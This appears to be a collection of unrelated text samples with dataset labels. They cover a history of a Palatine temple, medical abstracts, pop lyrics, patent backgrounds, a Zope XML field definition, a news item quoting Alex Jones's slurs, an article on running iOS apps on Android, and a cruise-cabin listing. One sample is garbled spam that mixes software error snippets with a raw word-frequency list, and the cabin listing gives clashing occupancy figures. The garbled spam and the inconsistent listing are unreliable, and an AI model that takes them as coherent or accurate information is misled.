Where on the Palatine the Elagabalium/Temple of Jupiter Ultor was located has been a matter of speculation. In his discussion of the excavations on the Palatine, published in 1888, the Italian archaeologist, Rodolfo Lanciani related the 1730 discovery and possible destruction there of a large, brown, lava-like stone found among the ruins of what appeared to be an imperial chapel (Ancient Rome in the Light of Recent Discoveries [1888], p. 128). The Topographical Dictionary of Ancient Rome, begun by the British archaeologist Samuel Ball Platner and completed by Thomas Ashby (published posthumously in 1929), suggested that, because of the significant amount of pre-Severan monumental remains on the site, the Elagabalium was an earlier temple on the site that was renovated and rededicated to the new god. The similarity of the Elagabalium to the Temple of Jupiter Ultor that appears on the reverse of a medallion of Severus Alexander (BMCRE 207-9), and its similarity to an earlier temple dedicated to Jupiter Victor, which also sat on the Palatine, supports such a hypothesis. Although some discrepancies exist between the various depictions of the Temple of Jupiter Victor, they may be explained by one of the site’s restorations, possibly when the cult-statue was either removed or restored, at which time the decoration would have been altered or removed for reuse elsewhere. Whether triumphal entry to the sanctuary, possibly the same structure known as the pentapylum in the mid-fourth century AD Notitia urbis Romae regionum, was present at this time is uncertain. It is highly plausible that it was added at the time of the rededication by Elagabalus as part of the rededication to El-Gabal, as the fifth century AD Vita S. Sebastiani decscribes that saint addressing the emperor Diocletian from the “Steps of Heliogabalus” (Hill, op. cit. p. 35; in the tenth century, this saint had a church dedicated to him on a portion of the site.
Philip V. Hill, in his discussion of the topic (The Monuments of Ancient Rome as Coin Types [1989], s.v. Templum Iovis Victoris), offers evidence from various later literary sources to conclude that the Elagabalium and the Temple of Jupiter Ultor were one and the same edifice and was situated on the northeast corner of the Palatine, and suggests the these two structures were originally the Temple of Jupiter Victor. Given Elagabalus’s desire to supplant Jupiter with El-Gabal, the appropriation of a temple nearby the palace which was already dedicated to Jupiter Victor would be an ironically fitting act, while its reappropriation by Severus Alexander for Jupiter in AD 224, now in the guise of Ultor (the Avenger) would be a fitting act of vengeance and a way to placate Jupiter Victor.
|
{
"pile_set_name": "Pile-CC"
}
|
Isolated fallopian tube torsion in prepubertal females.
Isolated fallopian tube torsion is an uncommon diagnosis. It is particularly rare in the paediatric and post-menopausal age groups. It lacks pathognomonic symptoms, signs and imaging findings, yet each of these diagnostic steps plays a crucial role in early diagnosis. We describe two cases of isolated fallopian tube torsion in prepubertal females.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
"Hey, slow it down, whataya want from me" "Whataya want from me" "Yeah I'm afraid whataya want from me" "Whataya want from me" "There might have been a time" "When I would give myself away" "Oooh once upon a time I didn't give a damn" "But now, here we are so whataya want from me" "Whataya want from me" "Just don't give up I'm workin' it out" "Please don't give in, I won't let you down" "It messed me up, need a second to breathe" "Just keep coming around" "Hey, whataya want from me" "Whataya want from me" "Whataya want from me" "Yeah, it's plain to see [plain to see]" "That baby you're beautiful" "And there's nothing wrong with you [nothing wrong with you]" "It's me, I'm a freak [Yeah]" "But thanks for lovin' me" "Cause you're doing it perfectly [it perfectly]" "There might have been a time When I would let you slip away" "I wouldn't even try But I think you could save my life" "Just don't give up I'm workin' it out" "Please don't give in, I won't let you down" "It messed me up, need a second to breathe" "Just keep comin' around" "Hey, whataya want from me" "[Whataya want from me] Whataya want from me" "Whataya want from me [Whataya want from me]" "Just don't give up on me" "I won't let you down" "No(uuuuuuh), I won't let you down" "(So hey) Just don't give up I'm workin it out" "Please don't give in, I won't let you down" "It messed me up Need a second to breathe" "Just keep coming around" "Hey, whataya want from me" "Just don't give up I'm workin' it out" "Please don't give in, I won't let you down" "It messed me up, need a second to breathe" "Just keep coming around" "Hey, whataya want from me" "Whataya want from me"
|
{
"pile_set_name": "OpenSubtitles"
}
|
I have installed 3DS Max 9 on Windows 7 and an error is coming up that states: "DLL failed to initialize. Error Code 998 – Invalid access to
The Core i7 and the Xeon chip are based on almost identical technology; the primary difference is that the Xeon supports error-correcting code (ECC).
Using a PC program called 3ds Max, he created a complete 3D model of a labeled. including 15 minutes to get used to the app and no small amount of trial and error. Getting used to the stamp-and-cut behavior of the program was the.
Error Page Weblogic Setting up WebLogic as an HTTP server. define an error page in the document root and redirect it in that error page. For example: weblogic.httpd.errorPage. In WebLogic, there's a way to customize standard error pages like HTTP 404 inside the web applications using web.xml <web-app xmlns="http://java.sun.com/xml/ns/j2ee. Kalyan Pasupuleti November 8th, 2010 on 6:09 am. Hi Guys, I am very new to Weblogic and JMS. Can you provide me few steps to travel safely in this Journey. Oracle is planning to announce the next version of its flagship WebLogic application server during an online event Dec. 1, according to information on
RetroArch 1.6.6 has just been released! Grab it here. This latest version has also been uploaded to the Google Play Store. General changelog – 3DS: Fixes serious.
1 I celebrate myself, and sing myself, And what I assume you shall assume, For every atom belonging to me as good belongs to you. I loafe and invite my soul,
Daily Deals: High Rollers Edition! – Awarded Editors’ Choice and rated 9/10 "Amazing. subs. Use code "26800RAV". The great thing about power banks is that they are designed to juice up any mobile accessories with USB input, including smartphones, tablets, Nintendo.
But when i started 3dsMax up it came up with an error, "Error Code:127 The specified procedure can not be found. "Error Code 127" On 3ds Max 9
Hi, I have windows 7 64-bit os, installed 3Ds max 9 as 32-bit. When trying to start the program get some kind of error that refers to plugins. What steps would be to.
Citrix Error 1719 Windows Installer Service the 3638323 to 1605548 a 1450464 of 1443430 and 1443154 in 1270287 for 640884 on 508384 that 503295 is 492114 said 487809 was 434749 with 423779 at 408185 How to Fix the "Windows Installer Service could not. – HowToGeek – Mar 19, 2014. Have you tried to install a program in Windows 7 that uses an MSI file as its installer and instead you saw the above error? Never fear. There is. As you may know, Microsoft has made Update 1 a mandatory upgrade for existing Windows 8.1 PCs, and a requirement for future updates. And the deadline for that
|
{
"pile_set_name": "Pile-CC"
}
|
Psychiatric problems in chronic facial pain.
Facial pain patients have been known to describe their life as "a living hell." By employing a biopsychosocial approach, the dental surgeon can often markedly reduce suffering and diminish the negative impact of chronic pain on the patient's day-to-day life, and enhance his or her capacity to deal long-term with this often complex clinical presentation.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
The invention relates to a panel filter for use with an air diffuser or diffuser in a suspended-type ceiling.
Suspended ceilings are used extensively in modem office, and other public building, environments. This efficient ceiling design allows easy access to utilities with rapid and easy removal and replacement of ceiling panels. These suspended ceilings have a more or less standard design with ceiling panels resting on T-shaped suspension rails. Also resting on these T-shaped rails often is an air delivery diffuser, which supplies air via ductwork from a central plant. Often this air is filtered at the plant source but it has also been proposed to filter the air at the diffuser. This particularly has been the practice with clean room applications. U.S. Pat. No. 4,088,463 provides a diffuser that is specifically designed to accept a filter that can be quickly changed from below. The filter is retained in a specifically designed housing and held in place with screw fasteners or the like. However, this design requires that the standard air delivery diffuser must be removed and replaced. Other clean room applications also are also highly engineered to provide hermetic sealing and require non-standard diffuser or ceiling designs, such as disclosed in U.S. Pat. No. 4,518,405. In this patent, a silicone or like seal is broken by a pre-attached string attached to the filter, running from one side of the seal to the opposite side, when the string is pulled it cuts through the seal releasing the filter. The filter is held in place by discrete retaining clips on the filter frame or the suspended ceiling framework. Specifically designed ceiling systems that can accommodate mating filter panels are also proposed in U.S. Pat. Nos. 4,545,793; 4,946,484; 3,782,082; 4,175,936 and 6,267,793. These proprietary systems all require nonstandard suspension ceiling systems designed to accommodate specific mating filter panels.
There is a need for providing existing standard suspension ceiling units with appropriate filters that can easily be attached, replaced and removed without modification of the existing ceiling suspension system or air diffuser. Particularly, there is a need for providing filter elements on an as needed or emergency basis to particular rooms which filters can be easily installed from below.
In the invention, a standard ceiling system, comprising suspension rails or elements are provided with a movable air delivery diffuser resting on the suspension elements and a filter panel inserted into and retained between the suspension elements and the air delivery diffuser. The filter panel comprises a filter frame and an attached filter designed to be inserted into and retained on the suspension elements of the suspension ceiling. The filter frame has an inner face and an outer face with a filter media retained in the filter frame. The outer edges of the filter media are located and retained adjacent the filter frame inner face. The filter frame outer face has a flexible perimeter flange projecting outwardly from an uppermost portion of the filter frame outer face. This flexible perimeter flange can bend inwardly so as to be substantially flush with said frame outer face and can then flex back outward to engage the suspension elements. The flexible flange preferably can also extend outward so that it is in a direction substantially perpendicular to the filter frame outer face, so that it can be retained between, and frictionally engage, the suspension elements and an outermost edge of the air delivery diffuser or plenum otherwise resting on the suspension elements.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
<?xml version="1.0"?>
<ZopeData>
<record id="1" aka="AAAAAAAAAAE=">
<pickle>
<global name="ProxyField" module="Products.ERP5Form.ProxyField"/>
</pickle>
<pickle>
<dictionary>
<item>
<key> <string>delegated_list</string> </key>
<value>
<list>
<string>css_class</string>
<string>display_width</string>
<string>editable</string>
<string>input_style</string>
<string>precision</string>
<string>title</string>
</list>
</value>
</item>
<item>
<key> <string>id</string> </key>
<value> <string>listbox_employer_total_price</string> </value>
</item>
<item>
<key> <string>message_values</string> </key>
<value>
<dictionary>
<item>
<key> <string>external_validator_failed</string> </key>
<value> <string>The input failed the external validator.</string> </value>
</item>
</dictionary>
</value>
</item>
<item>
<key> <string>overrides</string> </key>
<value>
<dictionary>
<item>
<key> <string>field_id</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>form_id</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>target</string> </key>
<value> <string></string> </value>
</item>
</dictionary>
</value>
</item>
<item>
<key> <string>tales</string> </key>
<value>
<dictionary>
<item>
<key> <string>display_width</string> </key>
<value>
<persistent> <string encoding="base64">AAAAAAAAAAI=</string> </persistent>
</value>
</item>
<item>
<key> <string>field_id</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>form_id</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>precision</string> </key>
<value>
<persistent> <string encoding="base64">AAAAAAAAAAM=</string> </persistent>
</value>
</item>
<item>
<key> <string>target</string> </key>
<value> <string></string> </value>
</item>
</dictionary>
</value>
</item>
<item>
<key> <string>values</string> </key>
<value>
<dictionary>
<item>
<key> <string>css_class</string> </key>
<value> <string>figure</string> </value>
</item>
<item>
<key> <string>display_width</string> </key>
<value> <int>20</int> </value>
</item>
<item>
<key> <string>editable</string> </key>
<value> <int>0</int> </value>
</item>
<item>
<key> <string>field_id</string> </key>
<value> <string>my_float_field</string> </value>
</item>
<item>
<key> <string>form_id</string> </key>
<value> <string>Base_viewPayrollFieldLibrary</string> </value>
</item>
<item>
<key> <string>input_style</string> </key>
<value> <string>-1 234.5</string> </value>
</item>
<item>
<key> <string>precision</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>target</string> </key>
<value> <string>Click to edit the target</string> </value>
</item>
<item>
<key> <string>title</string> </key>
<value> <string>Money Quantity</string> </value>
</item>
</dictionary>
</value>
</item>
</dictionary>
</pickle>
</record>
<record id="2" aka="AAAAAAAAAAI=">
<pickle>
<tuple>
<global name="TALESMethod" module="Products.Formulator.TALESField"/>
<tuple/>
</tuple>
</pickle>
<pickle>
<dictionary>
<item>
<key> <string>_text</string> </key>
<value> <string>python: preferences.getPreference(\'preferred_money_quantity_field_width\', 10)</string> </value>
</item>
</dictionary>
</pickle>
</record>
<record id="3" aka="AAAAAAAAAAM=">
<pickle>
<tuple>
<global name="TALESMethod" module="Products.Formulator.TALESField"/>
<tuple/>
</tuple>
</pickle>
<pickle>
<dictionary>
<item>
<key> <string>_text</string> </key>
<value> <string>python: here.getQuantityPrecisionFromResource(here.getPriceCurrency())</string> </value>
</item>
</dictionary>
</pickle>
</record>
</ZopeData>
|
{
"pile_set_name": "Github"
}
|
Political Dig
In one of his wildest rants yet, InfoWars host Alex Jones descended into a frenzied spasm of unholy gibberish as he lashed out at MSNBC’s Joe Scarborough and Mika Brzezinski, whom he compared to “demons, parasites, and disease.”
“They’re both like horrible foot-long tapeworms, man, I’m telling you,” Jones said Tuesday during his crazed tirade that included a bug-eyed, tongue-lolling impersonation of a demonic Brzezinski.
“Tapeworms that we vomited out and crapped out and they’re just trying to force-feed themselves back into our lives. They’re like gonorrhea or syphilis, I mean they are just — they’re like HIV, they’re like cancer. They are just — I mean, you have to understand, folks, they literally want to destroy you. God, they’re evil. Do you realize how evil these people are?”
“They’re like from upside-down world, folks,” Jones said, making a reference to the Netflix series “Stranger Things.” “You have to understand. They’ve broken into this dimension. They want to destroy us.”
|
{
"pile_set_name": "Pile-CC"
}
|
Students from Columbia’s University’s Department of Computer Science have developed Cider, a neat mobile OS compatibility architecture that lets them run any iOS application on an Android device. The six students involved with the project demoed Cider on a Nexus 7 (2012), which is able to run all sorts of iOS applications right alongside Android apps.
The project is not yet finished and the performance isn’t as smooth as expected, but things could certainly improve in the future. For example, iOS apps requiring access to certain hardware resources, including GPS, cameras, cell phone radio, Bluetooth and other features will fail to run properly since Cider doesn’t offer such support yet, The Next Web reports.
However, assuming the project evolves into a more complex solution of running native iOS apps on Android devices, Cider could help long-time iOS users make the switch to Android – or use Android devices in addition to iPhones and iPads – easier than before, as there would be a way to access content already purchased from iTunes, especially apps, on an Android device.
Cider isn’t yet available to other mobile device users yet, and it’s not clear yet whether it’ll evolve into a commercial product in the future.
Running Android apps on an iOS device isn’t yet a possibility, or at least the Cider team has not demoed such a side of the project yet, likely because of the nature of these two mobile operating systems.
The Cider demo video, showing iOS apps running next to Android apps on the same device, follows below.
|
{
"pile_set_name": "OpenWebText2"
}
|
1. Field of the Invention
The present invention relates to a method of recording additional data such as lyric and user input data to be in synchronization with audio data on a rewritable recording medium, and of reproducing them synchronously therefrom.
2. Description of the Related Art
A disk-type recording medium such as a Compact Disk (CD) can store high-quality digital audio data permanently, so that it is very popular recording medium in these days.
Recently, a Digital Versatile Disk (called ‘DVD’ hereinafter) has been developed as a new disk-type recording medium. A DVD can store much more data than a CD, that is, high-quality moving pictures or audio data are recorded on a DVD for much longer time. Therefore, a DVD will be used widely in the near future.
There are three types of DVDs—DVD-ROM for read-only, DVD-R for write-once, and DVD-RAM or DVD-RW for rewritable. For a rewritable DVD, the standardization of data writing format is in progress.
FIG. 1 is a block diagram of an optical disk device that records/reproduces audio data to/from a recording medium.
The disk device configured as FIG. 1 comprises an optical pickup 11 reading signals recorded on a rewritable DVD 10 such as a DVD-RW and writing data streams processed into writable signals onto the rewritable DVD 10; a reproduced signal processor 12 restoring the read signals into compressed digital data; a decoder 13 decoding the compressed digital data to original data; a sampler 18 digitizing an inputted analog signal at a preset sampling rate; an encoder 17 encoding the digitized LPCM data into MPEG-, or AC3-formatted data; a writing processor 16 converting the encoded data from the encoder 17 or LPCM data from the sampler 18 into signals suitable to be written; a controller 14 controlling all elements to conduct user's commands such as playback or record; and a memory 15 for storing data temporally.
If an analog signal is applied to the disk device of FIG. 1, the sampler 18 samples the analog signal at the preset sampling rate. Each sampled signal, which is LPCM data, is applied to the encoder 17 that encodes a block of sampled data into compressed data of pre-specified format, for example, MPEG format. The compressed data are then applied to the writing processor 16.
The writing processor 16 converts a series of the compressed data into binary signals which are written in mark/space patterns on the writable DVD 10. Already-compressed digital data from outside are directly processed by the writing processor 16 to be written onto the writable DVD 10.
After recording of audio data, navigation data for the audio data are created and then recorded on the writable DVD 10.
FIG. 2 shows the structure of RTR_AMG (Real Time Record Audio ManaGement) recorded as navigation data on a rewritable disk. The RTR_AMG includes RTR_AMGI (RTR Audio Manager General Information), AUDFIT (AUDio File Information Table), ASVFIT (Audio Still Video File Information Table), ORG_PGCI (ORGiginal PGC (ProGram Chain) Information), UD_PGCIT (User Defined PGC Information Table), TXTDT_MG (TeXT DaTa ManaGer), and MNFIT (MaNufacturer's Information Table).
The TXTDT_MG can include additional data of recorded songs such as lyrics. Therefore, when the controller 14 selects and reproduces a recorded song from the rewritable disk 10, it is able to present lyric text in characters on a screen by reading it from the TXTDT_MG.
Consequently, when a user selects a recorded song to play back from the rewritable DVD 10, he or she is able to view its lyric on a screen.
However, each of additional data such as a lyric included in the TXTDT_MG is linked with a recorded song wholly. In other words, a lyric in the TXTDT_MG cannot have information to synchronize in detail with a recorded song. Therefore, it is impossible to display lyric data step by step at the same speed that the recorded song is reproduced from a rewritable DVD.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
A stator for a molded motor is made by a common method in which an annular stator core is used, or a method in which a linear stator core (usually called a straight core) is bent into an annular shape. The prior art involving a straight core is disclosed in Japanese Patent Publications JP-A-9-308143, JP-A-10-136589 and JP-A-10-271715.
As a matter of fact, however, the manufacture of a molded motor using a straight core is difficult to carry out only with the art mentioned above.
This invention, therefore, provides an invention which ensures the manufacture of a molded motor using a straight core.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
The present invention relates to a framework comprising separably connected profile bars. The connection is achieved by a coupling member consisting of a bearing housing and a holding member incorporated therein in a longitudinally movable manner. The coupling member is inserted into a hollow section of a first profile bar so that stationary coupling projections at an end of the bearing housing protrude from a face end of the bar. A free end of the holding member is provided with a coupling hook which is arranged between the two coupling projections of the bearing housing and also protrudes from the face end of the first profile bar. The pair of coupling projections and the coupling hook thus provide a coupling arrangement which can be inserted in an undercut longitudinal slot of another profile bar, e.g., a vertical column, and locked in position therein.
This locking in position is accomplished through an eccentric pin which extends transversely to the first profile bar, is rotatably supported in the bearing housing and passes through the holding member. An actuating end of the eccentric pin fits a cross hole of the profile bar which accepts the coupling member. During rotation of the eccentric pin, the eccentric of the eccentric pin moves the holding member in the longitudinal direction of the profile bar so that the coupling hook is also moved in the same direction. The coupling hook simultaneously performs a movement transverse to the profile bar, which movement is accomplished due to the fact that the bearing housing is provided with an inwardly and upwardly extending wedge surface and that the holding member has a matching inclined surface which is pressed against the wedge surface by a spring force.
The coupling member of the framework according to the present invention, firstly, is of special design since the coupling arrangements in their initial condition ready for coupling are situated in a common plane, i.e., the movable coupling hook lies between the two coupling projections. Therefore, the longitudinal slot of the profile bar, into which the coupling arrangements are to be engaged, need not be of a greater width than that required for accepting only one coupling arrangement, for example, the stationary coupling projections. In addition to the small opening width of the slot, a closed installation space of the coupling arrangements is achieved. Also, the two stationary coupling projections ensure a clearly defined location of the profile bar equipped with the coupling member during and after the coupling operation.
The design of the coupling member according to the present invention has the additional special feature that the coupling hook not only performs a transverse motion toward the coupling projections but simultaneously, because of the employed control arrangement, a longitudinal motion. Because of these simultaneously affected two motion components, a particularly safe and strong connection is obtained between the two profile bars. The transversely directed motion component first causes a locking in position of the two coupling arrangements at the opposing inner surfaces of the slot opening. This locking in occurs because the coupling hook moving in a transverse direction approaches one inner surface, while the two coupling projections will eventually rest against the opposite inner surface. During this transverse motion, the coupling hook leaves the common plane extending between the coupling projections and moves behind the adjacent wall of the longitudinal slot. Because of the simultaneously effected motion component directed longitudinally, the coupling hook moves against the inner surface of the longitudinal slot wall, bearing against the wall and thereby firmly pressing one profile bar against the face of the other profile bar which carries the coupling member. In this manner, one profile bar is pushed against the other.
In the case of known frames using coupling members in accordance with German utility model No. 73 71 203.0, the coupling member consists of numerous detail parts thereby making the manufacture per unit more expensive and requiring a laborious and time-consuming assembly of the coupling member at the profile bar. The holding member consists of a plate which, with its sloping shoulders, is forced against wedges of the bearing housing by a spring resting against an eccentric pin. Special locating devices, such as a circlip and an annular shoulder at the pin shaft, are required to secure the eccentric pin in the bearing housing. This locating in position makes the assembly of the components within the hollow section of the profile bar accepting the coupling member extremely difficult. Locating the pin relative to the bearing housing, however, is essential because the spring has the tendency to force the pin out of a cross hole in the profile bar. Moreover, it is nearly impossible to remove an installed coupling member in order to replace, for example, a broken spring without damaging the member.
The present invention has as an object to develop a framework for rapid and easy assembly of the initially mentioned type, whose coupling member consists of the most simple and easy-to-assemble and disassemble components for convenient installation in the profile bar and removal from the same as required.
This object and others are achieved by the present invention with a coupling member consisting of only three components, i.e., a bearing housing, a holding member specially formed from a sheet metal strip, and an eccentric pin. A resilient tongue cut out of the sheet metal strip of the holding member performs two different spring functions. One function is to keep the matching inclined surface of the holding member in contact with a wedge surface of the bearing housing. The other spring function is to load the eccentric pin like a pushbutton so that, by exerting an axial pressure, the pin can be pressed into the bearing housing until it comes out of the cross hole in the profile bar. This arrangement enables convenient installation and removal of the coupling member into and out of the profile bar.
According to the present invention the coupling member is an assembly which can be prefabricated from the above-mentioned three components for insertion into any profile bar provided with a cross hole. For insertion, all that has to be done is to press in the eccentric pin at its actuating end in an axial direction as described above. As soon as the coupling member has reached its specified location in the hollow section of the profile bar, the actuating end will automatically engage into the cross hole of the profile bar. This engagement accurately determines the location of the coupling member in the profile bar, especially if the mentioned stationary coupling projections at the bearing housing are provided with locating shoulders which will be arranged in front of the face of the profile bar. No additional locking elements are required to secure the coupling member in the profile bar.
According to another special aspect of the present invention, the controlling eccentric disk of the pin is located at the side of the holding member opposite the resilient tongue and acts as a stop which, with its outer face, bears against the inner side wall of the bearing housing. This defines the initial position of the "pushbutton" formed by the eccentric pin in the unpressed condition. The actuating end of the eccentric pin protrudes correspondingly from the bearing housing and enters the cross hole of the profile bar to the desired extent. When pressing in this "pushbutton", the control end of the holding member is caught by the eccentric disk thus deforming the resilient tongue.
The small number of components for the coupling member, and its securing in position in the profile bar, are possible because the holding member in accordance with the present invention simultaneously performs several functions. Firstly, of course, the front end coupling hook and the rear end control required for acting on the eccentric pin are formed from a sheet metal strip. The control may be one-sided projections, e.g., bent edge strips forming rails on one surface of the holding member against which the eccentric disk is arranged to effect the desired inward or outward thrust of the holding member during the rotational actuation of the eccentric pin. The second function of the holding member in accordance with the invention consists of the previously mentioned double spring function of the cut out resilient tongue, which is utilized for both maintaining contact between the holding member, the bearing housing and the pushbutton effect of the eccentric pin. A third function of the holding member is securing the eccentric pin in its installed end position in the bearing housing.
This last mentioned function is achieved in the following manner. In order to enable convenient assembly, when the holding member in accordance with the invention together with the eccentric pin is inserted into the bearing housing, a rear portion of the bearing housing is provided with a wall cut-out. Without the solution in accordance with the present invention, there is a risk that the eccentric pin may fall out of the wall cut-out unless additional locating means are provided. The invention overcomes this problem simply with a control arrangement which keeps the eccentric pin in a surrounding grip and, similar to an anchor, engages behind the wedge surface with the matching inclined surface produced by bending the sheet metal strip. This engagement is reliably secured through the above-mentioned spring action of the resilient tongue formed in the sheet metal strip. In this way, the resilient tongue performs a third function, i.e., the location of the eccentric pin in its installed position in the wall cut-out.
The space between the two coupling projections of the bearing housing is preferably utilized for the wedge surface, which provides, in particular, the following advantages. Firstly, the wedge surface is brought very far to the front and commences before the face of the profile bar so that in a coupling situation, the wedge surface also engages the slot opening. The connection between the two coupling projections causes a reinforcement of the mutual position of the two coupling projections. The portion of the holding member at this far advanced wedge surface is very short and therefore relatively stiff although a resilient sheet metal strip is used for forming the holding member. Finally, the advanced wedge surface enables an accumulation of material in this area of the bearing housing, which material produces a side wall against the outside, because reference surfaces are preferably provided at the inside of the side walls, which serve as guides for the holding member during assembly and disassembly. In the present case the reference surface can be integral with the material accumulation. Another reference surface of this kind can be provided in the bearing area of the eccentric pin.
In order to positively prevent the "pushbutton function" of the eccentric pin from occurring in the coupling position, it is preferable to provide stops in the bearing housing, which protrude as locking features into the path of the movable parts only in the coupling position. The stops, i.e., in the removal position, are arranged outside of this path.
To ensure satisfactory distribution of the spring functions provided by the resilient tongue, it is preferred to arrange the tongue in the central section of the sheet metal strip so that the spring force is acting equally on the front coupling hook and the rear control arrangement of the holding member so as to develop the mentioned spring functions.
For securing the holding member, it is preferred that the coupling hook contacts the inner surface of the slot wall engaged behind in two points only. This contact can be achieved by simply arranging the edge of the coupling hook to be of curved shape.
Further advantages and measures of the invention will become evident from the claims, the drawings and the following description which explains in detail a preferred embodiment of the present invention.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Inside Stateroom
These Inside Staterooms are the most affordable way to cruise. There's room for up to four guests and they include two lower beds that convert into a queen-size bed and of course, you'll have room service and many other amenities.
Mid-Ship Inside
Category IA, IB: With room for up to four guests, these Inside Staterooms come with two lower beds that convert into a queen-size bed and additional bedding to accommodate two more. These staterooms are mid-ship, so you'll have easy access to everything on board.
Category IE: These Inside Staterooms are on lower decks and are mid-ship accommodations. You'll have easy access to everything on board, and room for up to four guests. Includes two lower beds that convert into a queen-size bed and additional bedding to accommodate two more.
Accommodates: 4
Total Approx. Size: 138 - 143 sq. ft.
Family Inside Stateroom
These Norwegian Jewel Inside Staterooms are the most affordable way for your family to cruise. With room for up to four guests, you'll have two lower beds that convert into a queen-size bed and additional bedding to accommodate two more. And of course, room service and many other amenities.
Obstructed Oceanview Stateroom
These Oceanview Staterooms sleep up to four guests and have either a picture window or porthole, with an obstructed view. Two lower beds that convert into a queen-size bed and pull down beds sleep two more.
Oceanview Porthole Window
Up to four guests can stay in these Oceanview Staterooms. Includes two lower beds that convert into a queen-size bed and additional bedding to accommodate two more, as well as a porthole to enjoy the view.
Accommodates: 4
Total Approx. Size: 155 - 161 sq. ft.
Mid-Ship Oceanview Porthole Window
Up to four guests can stay in these Oceanview Staterooms. Includes two lower beds that convert into a queen-size bed and additional bedding to accommodate two more, as well as a porthole to enjoy the view. These staterooms are mid-ship accommodations, which means you'll have easy access to everything on board.
Accommodates: 4
Total Approx. Size: 155 - 161 sq. ft.
Oceanview Picture Window
Category OA: These Oceanview Staterooms have enough room for up to three guests. Includes two lower beds that convert into a queen-size bed and additional bedding to accommodate one more guest. You'll also have an amazing view to enjoy from your big picture window, along with room service and many more amenities.
Accommodates: 4
Total Approx. Size: 155 - 161 sq. ft.
Category OC: These Oceanview Staterooms are lower deck accommodations and can sleep up to three guests. Includes two lower beds that convert into a queen-size bed and additional bedding to accommodate one more guest, in addition to the big picture window.
Accommodates: 3
Total Approx. Size: 155 - 161 sq. ft.
Mid-Ship Oceanview Picture Window
These Norwegian Jewel Oceanview Staterooms have enough room for up to three guests. Includes two lower beds that convert into a queen-size bed and additional bedding to accommodate one more guest. You'll also have an amazing view to enjoy from your big picture window, along with room service and many more amenities.
Family Oceanview Stateroom
You can comfortably fit up to four guests in these staterooms, making them perfect for families. You'll enjoy an amazing view from the big picture window. Two lower beds convert into a queen-size bed and additional bedding to sleep two more. Of course, you'll have room service and many other amenities.
Accommodates: 4
Total Approx. Size: 155 - 161 sq. ft.
Balcony Stateroom
These staterooms sleep up to four guests and come with two lower beds that convert into a queen-size bed and a convertible sofa pulls out to sleep two more. Also includes a sitting area and floor-to-ceiling glass doors that open to a private balcony.
Family Balcony Stateroom
These staterooms are perfect if you want to bring the whole family. With room for up to four guests, there are two lower beds that convert into a queen-size bed and bedding to accommodate up to two more. Also includes a sitting area and floor-to-ceiling glass doors that open to a private balcony.
Accommodates: 4 Approx. Size: 205 sq. ft.
Mid-Ship Balcony Stateroom
These Norwegian Jewel mid-ship staterooms sleep up to three guests and come with two lower beds that convert into a queen-size bed and a convertible sofa pulls out to sleep two more. Also includes a sitting area and floor-to-ceiling glass doors that open to a private balcony with a great view. Because they are mid-ship, you'll have easy access to everything on board.
Accommodates: 3 Approx. Size: 205 sq. ft.
Mini-Suite with Balcony
Up to four guests can stay in these Mini-Suites that come with a sitting area, luxury bath with shower, two lower beds that convert into a queen-size bed and additional bedding to sleep two additional guests. Not to mention you'll have a private balcony to enjoy the incredible view.
Mid-Ship Mini-Suite
With room for up to four guests, you'll love these Mini-Suites. Includes two lower beds that convert into a queen-size bed as well as a sitting area, luxury bath with shower, additional bedding to sleep two additional guests and a private balcony with a great view. Because it's a mid-ship suite, you'll have easy access to everything on board.
Accommodates: 4. Approx. size: 285 sq. ft
Aft-Facing Balcony Stateroom
You'll enjoy every inch of these staterooms, with enough space to sleep up to four guests. The two lower beds can be converted into a queen-size bed and the convertible sofa pulls out to sleep two more. You'll also have a sitting area and floor-to-ceiling glass doors that open to a private balcony. Because these are aft-facing, the view from your balcony is amazing and truly unforgettable.
Accommodates: 3-4
Total Approx. Size: 205 sq. ft.
Aft-Facing Mini-Suite
These Mini-Suites sleep up to four guests, making them ideal if you want to bring the kids. They have two lower beds that convert into a queen-size bed as well as a sitting area, luxury bath with shower and additional bedding to sleep two additional guests. Because they are aft-facing suites, the view from your private balcony is truly amazing.
Accommodates: 4 Approx. size: 285 sq. ft.
Penthouse with Large Balcony
These incredible Penthouses sleep up to four, with a bedroom with queen-size bed and luxury bath and shower. Also includes a living area, dining area and large private balcony that offers an amazing view. Includes butler and concierge service.
Accommodates: 2-4
Total Approx. Size: 341-578 sq. ft.
2-Bedroom Family Suite with Balcony
These Penthouses are perfect for your whole family. Up to six guests can stay in these luxurious Penthouses that include a bedroom with a queen-size bed and a separate children's bedroom. In addition to the living area, dining area, private balcony and luxury bath with separate shower. Includes butler and concierge service.
Accommodates: 6
Total Approx. Size: 546 sq. ft.
The Haven Courtyard Penthouse with Balcony
These Courtyard Penthouses make for an amazing cruising experience. Sleeps three, with a bedroom featuring a queen-size bed, luxury bath and shower and additional bedding to sleep one additional guest. Also features a living area, dining area, private balcony and access to the private courtyard area. Includes butler and concierge service.
Accommodates: 3
Total Approx. Size: 440 sq. ft.
The Haven 2-Bedroom Family Villa with Balcony
Up to six guests can enjoy these Villas that are perfect if you want to bring the kids. They have one bedroom with a queen-size bed and a luxury bath and shower, as well as a separate children's bedroom. Also features a living area, dining area and private balcony. You will also have access to the private courtyard area. Includes butler and concierge service.
Accommodates: 2
Total Approx. Size: 791 - 824 sq. ft.
The Haven Owner's Suite with Large Balcony
These Norwegian Jewel Owner's Suites are a truly luxurious way for you to get away. Includes a separate bedroom with a king-size bed and luxury bath with separate shower, in addition to the living room, dining room and large private balconies with incredible views. Sleeps up to four and guests receive access to the private courtyard area. Includes butler and concierge service.
Accommodates: 2
Total Approx. Size: 791 - 824 sq. ft.
Guarantee Inside Stateroom - Category IX
Guarantee Obstructed Ocean view Cat. OX
Deck 4
Inside Stateroom - Category IF
Deck 9
Inside Stateroom - Category ID
Deck 10
Inside Stateroom - Category IC
Deck 5
Mid-Ship Inside Stateroom - Category IE
Deck 8
Mid-Ship Inside Stateroom - Category IB
Deck 10
Mid-Ship Inside Stateroom - Category IA
Deck 9
Family Inside Stateroom - Category I1
